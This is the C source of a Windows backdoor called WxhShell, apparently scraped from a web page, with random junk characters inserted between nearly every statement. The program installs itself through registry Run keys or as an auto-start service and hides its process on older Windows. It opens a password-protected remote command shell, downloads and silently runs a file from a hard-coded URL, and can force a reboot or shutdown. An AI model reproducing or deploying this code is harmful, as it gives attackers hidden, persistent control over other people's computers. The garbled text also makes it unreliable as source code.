Oo(7 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gA|j\T{c if(NULL == hInst ) return 0; u^uG_^^,/ ,'6GG+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Q9OQqg
m g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uwk|M?94 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;v'Y'!-J OY#_0p)i if (!NtQueryInformationProcess) return 0; F"C Yrt sJlKN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A%O#S<sa if(!hProcess) return 0; E=QQZ\w (Vv]:Y] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ei<:=6EX?8 *S4P'JSY CloseHandle(hProcess); &$Lm95 iT"Itz-^# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AVWrD[ wD2 if(hProcess==NULL) return 0; IA4(^-9 *2MTx HMODULE hMod; w1b
<>A?87 char procName[255]; 2Qj)@&zKe# unsigned long cbNeeded; SAJ=)h~ FM)*>ax{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R 2s>;V.: t_dg$KB CloseHandle(hProcess); 9="sx 8? 6KG 63`aQ if(strstr(procName,"services")) return 1; // 以服务启动 $C/Gn~k 5 y|se^dn return 0; // 注册表启动 Hdx|k=-Q^ } '
^^K#f8 zJ`(LnV // 主模块 xW4+)F5P( int StartWxhshell(LPSTR lpCmdLine) Fm':sd)'X { dFFqs&c Q SOCKET wsl; QR'g*Bro BOOL val=TRUE; ~=ktFuEa int port=0; bYc qscW struct sockaddr_in door; HWBom8u0 O2dgdtm if(wscfg.ws_autoins) Install(); :bDA<B6bb S/;Y4o port=atoi(lpCmdLine); 4vS!99v) >6 #\1/RP if(port<=0) port=wscfg.ws_port; =;=V4nKN E}=NZqOB! WSADATA data; O;BPd:< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gf\_WNrSE+ I>#ChV)(# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <UdD@(iZ# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~S!kn1&O door.sin_family = AF_INET; &:*+p-!2< door.sin_addr.s_addr = inet_addr("127.0.0.1"); %#a%Luq door.sin_port = htons(port); Hrnql _'U?! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E;H(jVZ closesocket(wsl); n #I}!x>2 return 1; Kj
8 W } f :5/y^M& 5#\p>}[HG if(listen(wsl,2) == INVALID_SOCKET) { u_8 22Z closesocket(wsl); NGUGN~p return 1; {B.]w9 } 2v1&%x:y# Wxhshell(wsl); -Wk"o?}q WSACleanup(); V2%wb\_z MlE~gCD return 0; h';v'"DoW` e&4u^'+K } CD[=z)<z{ dRa<,@1" // 以NT服务方式启动 gDNW~?/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 66^t[[ { q"<- DWORD status = 0; y(h(mr DWORD specificError = 0xfffffff; )\Q|}JV ;_5
=g serviceStatus.dwServiceType = SERVICE_WIN32; ~HRWKPb serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3yB6]U serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SVh4)}.x serviceStatus.dwWin32ExitCode = 0; 86F+N_>Z serviceStatus.dwServiceSpecificExitCode = 0; 12xP)*:$ serviceStatus.dwCheckPoint = 0; M&c1iK\E8 serviceStatus.dwWaitHint = 0; kw ^ Sbxm em!R9J. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Pi:TxY if (hServiceStatusHandle==0) return; G5J ZB7C %esZ}U status = GetLastError(); (1j$*?iGA if (status!=NO_ERROR) L"6/"L { $ _Bu,; serviceStatus.dwCurrentState = SERVICE_STOPPED; t~K!["g serviceStatus.dwCheckPoint = 0; RyWOiQk; serviceStatus.dwWaitHint = 0; an[~%vxw} serviceStatus.dwWin32ExitCode = status; J4c 4Os>3 serviceStatus.dwServiceSpecificExitCode = specificError; hg'! SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'OW"*b return; ]u ~Fn2 } m+{: ^ U2lC !j%K serviceStatus.dwCurrentState = SERVICE_RUNNING; :vyf-K74M serviceStatus.dwCheckPoint = 0; @b\_696. serviceStatus.dwWaitHint = 0; To%*)a if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'N ::MN } T)tHN#6I T8TsKjqOZ // 处理NT服务事件,比如:启动、停止 Mv`L F VOID WINAPI NTServiceHandler(DWORD fdwControl) Mqf}Aiqk; { SH$cn,3F8 switch(fdwControl) `oRs-,d|< { 8yz((?LrDh case SERVICE_CONTROL_STOP: ff./DMDafI serviceStatus.dwWin32ExitCode = 0; cBR8HkP~ serviceStatus.dwCurrentState = SERVICE_STOPPED; (DP9& b serviceStatus.dwCheckPoint = 0; MGyB8( serviceStatus.dwWaitHint = 0; Is6 _ { l@/kPEh SetServiceStatus(hServiceStatusHandle, &serviceStatus); aC
Lg~g4 } 7oLf5V1~ return; 8 E+C:" case SERVICE_CONTROL_PAUSE: [Pc[{( serviceStatus.dwCurrentState = SERVICE_PAUSED; $SGA60q break; o/9LK case SERVICE_CONTROL_CONTINUE: 53*, f serviceStatus.dwCurrentState = SERVICE_RUNNING; z "$d5XR break; !Fg4Au case SERVICE_CONTROL_INTERROGATE: EQOP?>mWx! break; p't:bR }; }%FuL5Tx SetServiceStatus(hServiceStatusHandle, &serviceStatus); +ls*//R } :tqm2t ~TFYlV // 标准应用程序主函数 bd
P,Zqd int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {!e ANm' { X<}o>
6|d a(DZGQ-as
// 获取操作系统版本 Y{2d4VoW6 OsIsNt=GetOsVer(); XL/o y'_ GetModuleFileName(NULL,ExeFile,MAX_PATH); rbuL@=S@* <CKmMZ{ // 从命令行安装 OC>_=i$' if(strpbrk(lpCmdLine,"iI")) Install(); Ar7mH4M grxl{uIC8 // 下载执行文件 P:,
x?T?J^ if(wscfg.ws_downexe) { T\
}v$A03 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eQaxZMU WinExec(wscfg.ws_filenam,SW_HIDE); LSu^#B } >"<k8wn ssyd8LC# if(!OsIsNt) { o),6o'w( // 如果时win9x,隐藏进程并且设置为注册表启动 1mVVPt^6 HideProc(); hn\Q6f+ StartWxhshell(lpCmdLine); K_+;"G } 3JZWhxkf[$ else {+6D-rDw if(StartFromService()) V>j hGf // 以服务方式启动 PSf5p\<5 StartServiceCtrlDispatcher(DispatchTable); pz35trW else LQ(5D_yG. // 普通方式启动 'uf\.F StartWxhshell(lpCmdLine); q&Tn>B o|;eMO- return 0; =Wk/q_. } e_~fJ >AzWM
.r
c(V=.+J y-\A@jJC5 =========================================== <k\H`P c6Aut`dK ?X#/1X%u: @6
;oN bA<AG* \aVY>1` " b~r{J5x@ \SiHrr5 #include <stdio.h> Q-8'?S #include <string.h> 3 IWLBc #include <windows.h> '-PMF~~S #include <winsock2.h> sP?$G8-^ #include <winsvc.h> ![@T iM #include <urlmon.h> 45+%K@@x 2\nN4WL
5. #pragma comment (lib, "Ws2_32.lib") )jlP
cO- #pragma comment (lib, "urlmon.lib") Wyq~:vU.S 3xzkZ8]/ #define MAX_USER 100 // 最大客户端连接数 k]Alp;hVd #define BUF_SOCK 200 // sock buffer Zgg'9E #define KEY_BUFF 255 // 输入 buffer
gmRT1T Jh43)#G- #define REBOOT 0 // 重启 zRV!(Y #define SHUTDOWN 1 // 关机 nJleef9 )>y
k- #define DEF_PORT 5000 // 监听端口 f{igW?Ho p`:*mf #define REG_LEN 16 // 注册表键长度 $Eio$TI #define SVC_LEN 80 // NT服务名长度 JYwyR++uo >sQ2@"y)s2 // 从dll定义API w!WRa8C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }U%^3r- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .~q)eV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;NH~9# t: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !6zyJc@01 T3Frc ]6,4 // wxhshell配置信息 SLtSqG7~ struct WSCFG { izPh1YA int ws_port; // 监听端口 w{3Q( =& char ws_passstr[REG_LEN]; // 口令 pd4cg?K int ws_autoins; // 安装标记, 1=yes 0=no g@@&sB-A" char ws_regname[REG_LEN]; // 注册表键名 l] _b;iux char ws_svcname[REG_LEN]; // 服务名 <Zp^lDxa char ws_svcdisp[SVC_LEN]; // 服务显示名 Mny'9hsl char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?C
&x/2lt char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #e.jY_ int ws_downexe; // 下载执行标记, 1=yes 0=no [IX*sr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wfxOx$]zK char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4l&"]9D gEv-> pc }; =n-z;/NL WY+(]Wkao // default Wxhshell configuration LY-lTr@A^
struct WSCFG wscfg={DEF_PORT, }iilzE4oH# "xuhuanlingzhe", "v(G7*2 1, a`H\-G "Wxhshell", FUaI2 "Wxhshell", +7Yu^& "WxhShell Service", hCzjC|EO~ "Wrsky Windows CmdShell Service", #(%t*"IY; "Please Input Your Password: ", )n7|?@5U 1, |l|_dn "http://www.wrsky.com/wxhshell.exe", [J0*+C9P* "Wxhshell.exe" OlMBMUR: }; ! FNf>z+ 5x8'K7/4. // 消息定义模块 Tu]&^[B(' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y4mC_4EU char *msg_ws_prompt="\n\r? for help\n\r#>"; [E>R.Oe char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F=XF] char *msg_ws_ext="\n\rExit."; "7Eo>g char *msg_ws_end="\n\rQuit."; R?
O-x9 char *msg_ws_boot="\n\rReboot..."; 8HMo.*Ti9 char *msg_ws_poff="\n\rShutdown..."; 3p=vz' char *msg_ws_down="\n\rSave to "; rdO@X9z *FV0Vy char *msg_ws_err="\n\rErr!"; )ll?-FZ
char *msg_ws_ok="\n\rOK!"; T yU&QXb BlXX:aZv char ExeFile[MAX_PATH]; /7bw: h; int nUser = 0; ht?CHUu HANDLE handles[MAX_USER]; I-xwJi9?, int OsIsNt; Kw)KA^KF ~&1KrUu& SERVICE_STATUS serviceStatus; *^'wFbaBO SERVICE_STATUS_HANDLE hServiceStatusHandle; ezp<@'0ZT !#q{Z>H` // 函数声明 3&es]1b int Install(void); }wG,BB %N int Uninstall(void); wGPotPdE2 int DownloadFile(char *sURL, SOCKET wsh); EMLx?JnP int Boot(int flag); osl=[pm void HideProc(void); \}Dpb%^\ int GetOsVer(void); D%-{q>F!gf int Wxhshell(SOCKET wsl); tqK=\{U void TalkWithClient(void *cs); TfJL+a0 int CmdShell(SOCKET sock); kLJlS,nh\r int StartFromService(void); wG+=}1X int StartWxhshell(LPSTR lpCmdLine); o]A XT8 Vu}806kB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `h?LVD'l VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5O&d3;p' _R)&k%i} // 数据结构和表定义 q0Xoj__c!A SERVICE_TABLE_ENTRY DispatchTable[] = 'Q5&5UrBr { c4\C[$ {wscfg.ws_svcname, NTServiceMain}, MU|{g
5/
) {NULL, NULL} Ls]@icH0 }; ?0{yq>fTu i^WIr h3a // 自我安装 lzEb5mg int Install(void) >9=:sSQu {
lWbZ=x_0 char svExeFile[MAX_PATH]; G]4OFz+ HKEY key; %nWe,_PjD strcpy(svExeFile,ExeFile); atyu/+U'} V5AW&kfd // 如果是win9x系统,修改注册表设为自启动 \^& if(!OsIsNt) { ;UrK{>B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;|<(9u` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &1_U1 RegCloseKey(key); FPF6H puV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g`n;R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M'q'$)e RegCloseKey(key); G+VD8]!K1 return 0; ~].ggcl`w } "mOI!xf@a } x`2| }AP( } `}gdN}; else { 4=xq:Tf "b]#MO}P // 如果是NT以上系统,安装为系统服务 FQROK4x%" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o2aM#Q
if (schSCManager!=0) 94Ud@F9d5 { H8f]} SC_HANDLE schService = CreateService 78d_io}w ( NG" yPn schSCManager, Bd5+/G=m wscfg.ws_svcname, Fnb2.R'+ wscfg.ws_svcdisp, $"\O;dp7l SERVICE_ALL_ACCESS, 1{Jb" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F~6#LT SERVICE_AUTO_START, ^ S SERVICE_ERROR_NORMAL, WhFS2Jl0 svExeFile, 2+.18"rvi NULL, "Z T.k5Z NULL, _yv Luj NULL, OR4!YVVQ NULL, j)by }} NULL R*9NR,C ); wAFW*rO5o if (schService!=0) v$Uhm</|19 { `ZMK9f: CloseServiceHandle(schService); *V1J4 u CloseServiceHandle(schSCManager); rwSbqL^eM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 26L~X[F strcat(svExeFile,wscfg.ws_svcname); MR$>!Nlp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O>c$sL0g RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $*\L4<( RegCloseKey(key); R?pR xY return 0; !^y y0`k6 } jQ=~g-y } \?Mf _ CloseServiceHandle(schSCManager); /(?@mnq_ } c0ez/q1S } q'G,!];qL Kesy2mE return 1; hat>kXm2K } *hdC?m._ .A6lj).: // 自我卸载 F[Q!d6 int Uninstall(void) WKl+{e { @hif$ HKEY key; XiQkrZ ~@4'HMQ if(!OsIsNt) { 'O?~p55T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &aG*k* RegDeleteValue(key,wscfg.ws_regname); aWy]9F&C: RegCloseKey(key); JObMZA$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'dJ/RJ~ RegDeleteValue(key,wscfg.ws_regname); G7@O`N8' RegCloseKey(key); &:5\"b return 0; tX%`#hb?s } k?6z_vu } feX^~gM } :I1_X else { ymN!-x8q>' yx>_scv,T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ycAKK?O* if (schSCManager!=0) a9U_ug58 { )92r{%N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o[1ylzk}+ if (schService!=0) 8K"+,s(%R { bKDA!R2 if(DeleteService(schService)!=0) { ][;G=oCT CloseServiceHandle(schService); Kw5Lhc1V CloseServiceHandle(schSCManager); }{[mrG return 0; )G1P^WV4 } n_u1&a' CloseServiceHandle(schService); 6oD\-H } k`{7}zxS CloseServiceHandle(schSCManager); +q<B.XxkA } 58V[mlW)O0 } nBItO~l XORk!m| return 1; 51BlM% } H1EDMhn/ "v-(g9( // 从指定url下载文件 !j:`7PT\ int DownloadFile(char *sURL, SOCKET wsh) ^W?Z { h8e757z HRESULT hr; w5=tlb char seps[]= "/"; PVOx`<ng char *token; 3)=c]@N0 char *file; u3 0s_\ char myURL[MAX_PATH]; 28.~iw char myFILE[MAX_PATH]; tBATZ0nK`Q Gi2$B76< strcpy(myURL,sURL); zDTv\3rZ4X token=strtok(myURL,seps); xdvh-%A4 while(token!=NULL) &>g'$a<[ { 0k,-; j, file=token; 790-)\:CY token=strtok(NULL,seps); r|Z5Xc } O$u"/cwe* "=/ f$Xf GetCurrentDirectory(MAX_PATH,myFILE); _aWl]I){5 strcat(myFILE, "\\"); ;)AfB#:d strcat(myFILE, file); 0\9K3 send(wsh,myFILE,strlen(myFILE),0); o=J9 send(wsh,"...",3,0); }J:+{4Yn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5N[9
vW if(hr==S_OK) Z;l`YK^- return 0; Ev"|FTI/ else \55VqGyxu9 return 1; Vr[czfROz' _nh[(F<hz } yp.[HMRD v"& pQ // 系统电源模块 a|7a_s4( int Boot(int flag) 1BHG'y { yifY%!@Xu HANDLE hToken; :#~U<C@o TOKEN_PRIVILEGES tkp; KJ2Pb"s WI> P-D if(OsIsNt) { !~]<$WZV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e= vsuqGT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eB>s=}| tkp.PrivilegeCount = 1; ew _-Eb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?<Wb@6kh` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zq+o+o>xo if(flag==REBOOT) { u9+kLepOT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uDw.|B2ui return 0; yXI >I } 94skkEj else { CIU1R; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ("~DJ= return 0; 8K(Z0 } PO:"B6 } W14F else { ,GWNLm\5 if(flag==REBOOT) { k3?rp`V1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;W>Cqg= return 0;
RlT3Iz; } ML;*e "$ else { OU5*9_7. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,)PiP/3B return 0; ;9o;r)9~ } -HSs^dP` } g_5Q A)4x gz2\H} return 1; 5DOBsf8Jo } i%e7LJ@5AW nOx4<Wk& // win9x进程隐藏模块 nJ4pTOc void HideProc(void) =K'cM=WM6 { QrO\jAZ{Ag cdqB,]" HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X\EVTd)@ if ( hKernel != NULL ) ^7zu<lX { }Sy=My89r pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n
-( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hbv6_H FreeLibrary(hKernel); qW:HNEiir } Ookh<ES> 4DZ-bt' return; zOg7raIa } Y0?5w0{ AJ#Nenmj // 获取操作系统版本 R.=}@oPb int GetOsVer(void) CLvX!O(~ { l
Va &" OSVERSIONINFO winfo; r.7$&BCng winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rZ8`sIWQt GetVersionEx(&winfo); ODZ|bN0> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W9NX=gE4 return 1; lHgs;>U$ else Xpzfm7CB/ return 0; cGjPxG; } \&U>LwZd? {G?N E // 客户端句柄模块 9tF9T\jW int Wxhshell(SOCKET wsl) #o1=:PQaC { :
]C~gc SOCKET wsh; N('&jHF struct sockaddr_in client; n:MdYA5,m DWORD myID; 6@DF /Q,mJ.CnSR while(nUser<MAX_USER) J:V?EE,\- { Sa2>`":d int nSize=sizeof(client); 6{=\7AY wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /SYw;<= if(wsh==INVALID_SOCKET) return 1; )GHq/:1W <&C]sb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pK0"%eA if(handles[nUser]==0) O/[cpRe closesocket(wsh); E>l~-PaZY else 9B;{]c nUser++; lg^Z*&( } 7uzkp&+: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kc0E%odF.v |i++0BU return 0; 6}r`/?"A1 } 0_ 88V (o`{uj{! // 关闭 socket A~-b!Grf void CloseIt(SOCKET wsh) |\pbir { F$)[kP,wtO closesocket(wsh); 82l~G;.n3 nUser--; HTG%t/S ExitThread(0); ti
\wg } >y"+ -7V) =>-Rnc@ // 客户端请求句柄 B_.%i+ZZ void TalkWithClient(void *cs) 'inFKy'H { zCk^B/j sM ^0Mt*e{q SOCKET wsh=(SOCKET)cs; ]q4rlT.i char pwd[SVC_LEN]; 50X([hIr char cmd[KEY_BUFF]; YPxM<Gfa8 char chr[1]; 8i2n;LAz int i,j; 9H]{g*kL 7
qS""f7 while (nUser < MAX_USER) { -fDnA4; hIT+gnhh if(wscfg.ws_passstr) { >7 ="8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i{`:(F5* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v/ _ //ZeroMemory(pwd,KEY_BUFF); c
Vc- i=0; r]6C while(i<SVC_LEN) { |:gf lseE OGl}-kw // 设置超时 m;,N)<~ fd_set FdRead; mHRiugb! struct timeval TimeOut; PpzP 7 FD_ZERO(&FdRead); 'tH_p FD_SET(wsh,&FdRead); :=Nz}mUV TimeOut.tv_sec=8; ,y#Kv|R TimeOut.tv_usec=0; o2F)%T DY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NCDvobYJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J\b^) y gz6C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*\.NTM pwd=chr[0]; z:wutqru if(chr[0]==0xd || chr[0]==0xa) { :;9F>?VN>0 pwd=0; r 8RoE`/T break; ,>%}B3O:Y= } #pnI\ i++; )P
sY($ & } NPp;78O0[ lNYt`xp // 如果是非法用户,关闭 socket @u6B;)'l if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M<v%CawS } t7aefV&_, :/nj@X6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cPlZXf send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H*PSR
;{N!Eb`S while(1) { fumm<:<CLO U2W|:~KM ZeroMemory(cmd,KEY_BUFF); SHfy".A6.0 C&(N
I // 自动支持客户端 telnet标准 Li4zTR|U j=0; K &N while(j<KEY_BUFF) { {'NvG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cQ
R]le%( cmd[j]=chr[0]; ]>5/PD,wWy if(chr[0]==0xa || chr[0]==0xd) { vg32y /l]S cmd[j]=0; b gK}-EU break; u0`S5? } T4Pgbop j++; W')Yg5T } V Y7[) wfLaRP // 下载文件 0x@6^%^\ if(strstr(cmd,"http://")) { *Q
"wwpl? send(wsh,msg_ws_down,strlen(msg_ws_down),0); [1Qo#w1 if(DownloadFile(cmd,wsh)) -lY6|79bF send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Zmg# else 1~NT.tY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qm/22:&v5 } 52Z2]T
c, else { w;4<h8Wn5 4V)kx[j switch(cmd[0]) { 8;RUf~q? K0|FY=#2y // 帮助 aC8} d case '?': { C)ERUH2i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0z6R'Kjy A break; KQ% GIz x } 8Fz#A.%P // 安装 z]_wjYn Z case 'i': { 7x|9n if(Install()) UD2C>1j send(wsh,msg_ws_err,strlen(msg_ws_err),0);
dy%;W% else iL-(O;n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vc;$-v$& break; N/"{.3{W } 84& $^lNV // 卸载 |4;Fd9q^m case 'r': { ,~N/- 5 if(Uninstall()) IL#"~D? send(wsh,msg_ws_err,strlen(msg_ws_err),0); wDal5GJp else l[0RgO*S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k8&;lgO' break; HdUQCugxx: } Fo5FNNiID // 显示 wxhshell 所在路径 {HltvO%8 case 'p': { XpB_N{v9w char svExeFile[MAX_PATH]; pP&7rRhw strcpy(svExeFile,"\n\r"); Qb-M6ihcc strcat(svExeFile,ExeFile); ;"5&b!=t send(wsh,svExeFile,strlen(svExeFile),0); l*(8i ^ break; K_|k3^xx" } NX*Q F+ // 重启 %S960 case 'b': { )-I {^( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Kg+^N%+ if(Boot(REBOOT)) u&Yz[)+b=g send(wsh,msg_ws_err,strlen(msg_ws_err),0); qd ~BnR$= else { ;#W2|'HD closesocket(wsh); -">;-3,K ExitThread(0); u5`u>.! } -:+|zF@f break; 6jD=F ^jw } ~D j8z+^ // 关机 oGnSPI5KGC case 'd': { we//|fA< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cJ=6r
: if(Boot(SHUTDOWN)) )0]'QLH send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6"PX *K else { S%;O+eFYb closesocket(wsh); i
&nSh ]KK ExitThread(0); iy.p n } G"qvz{* break; {L{o]Ii?g } 1hY{k{+o // 获取shell HmGWht6R case 's': { oq
Xg CmdShell(wsh); Ju@c~Xm closesocket(wsh); EH J.T~X ExitThread(0); t\dN DS break; :D5Rlfj } hR?{3d#x2 // 退出 hn
GZ= case 'x': { PJ|P1O36a send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m e$Z~/Akm CloseIt(wsh); AlaW=leTe break; 5{X<y#vAC0 } {UI+$/v# // 离开 y%cP1y) case 'q': { hE D}h![ send(wsh,msg_ws_end,strlen(msg_ws_end),0); g
wRZ%.Cn closesocket(wsh); `r6 ,+& WSACleanup(); UcHJR"M~c exit(1); Rsm^Z!sn break; yS'I[l } -$ls(oot } 4SxX3Fw } q"lSZ;
'E <dtGK~_ // 提示信息 6@5+m
0`u3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >1Ibc=}g } E<Y$>uKA } GR_-9}jQP `4J$Et%S return; lukB8 } m=:9+z 'o2Fa_|<# // shell模块句柄 By!o3}~g int CmdShell(SOCKET sock) m+[Ux{$ { c7k~S-nU STARTUPINFO si; H/
HMm{4 ZeroMemory(&si,sizeof(si)); Ax7[;|2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S9y} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b2Fe<~S{ PROCESS_INFORMATION ProcessInfo; K($Npuu] char cmdline[]="cmd"; 6<QQ@5_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4xje$/_d
return 0; WSB0~+ } sY&IquK^ B~ GbF*j // 自身启动模式 ! n@KU!&k int StartFromService(void) N=}A Z{$ { 83_h J typedef struct 013x8!i { #=A)XlZMd DWORD ExitStatus; e X|m DWORD PebBaseAddress; IOmfF[ DWORD AffinityMask; k="i;! Ge DWORD BasePriority; ]w8(&,PP ULONG UniqueProcessId; FcU SE ULONG InheritedFromUniqueProcessId; R__OP`! } PROCESS_BASIC_INFORMATION; ^jZbo{ m<Dy<((_I PROCNTQSIP NtQueryInformationProcess; FTUv IbT |/{=ww8| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VlsnL8DV static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f.$af4
u ##>H&,Dp[ HANDLE hProcess; qo bc<- PROCESS_BASIC_INFORMATION pbi; Ve; n}mJ? kdeWip6Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @qAS*3j if(NULL == hInst ) return 0; *^ZV8c} m-#2n?
z- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VU3upy< g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sUQ@7sTj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bWU'cw H<,gU`&R if (!NtQueryInformationProcess) return 0; $'M!HJxb iqWQ!r^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); on`3&0,. if(!hProcess) return 0; 6LIJQ HIZe0%WPw if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hz@bW2S. E ~<JC"] CloseHandle(hProcess); rjYJs*# G_,jgg7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OQJ6e:BGt if(hProcess==NULL) return 0; -FaJ^CN~ %>{0yEC HMODULE hMod; Tyx_/pJT char procName[255]; /82b S| unsigned long cbNeeded; s.C_Zf~3 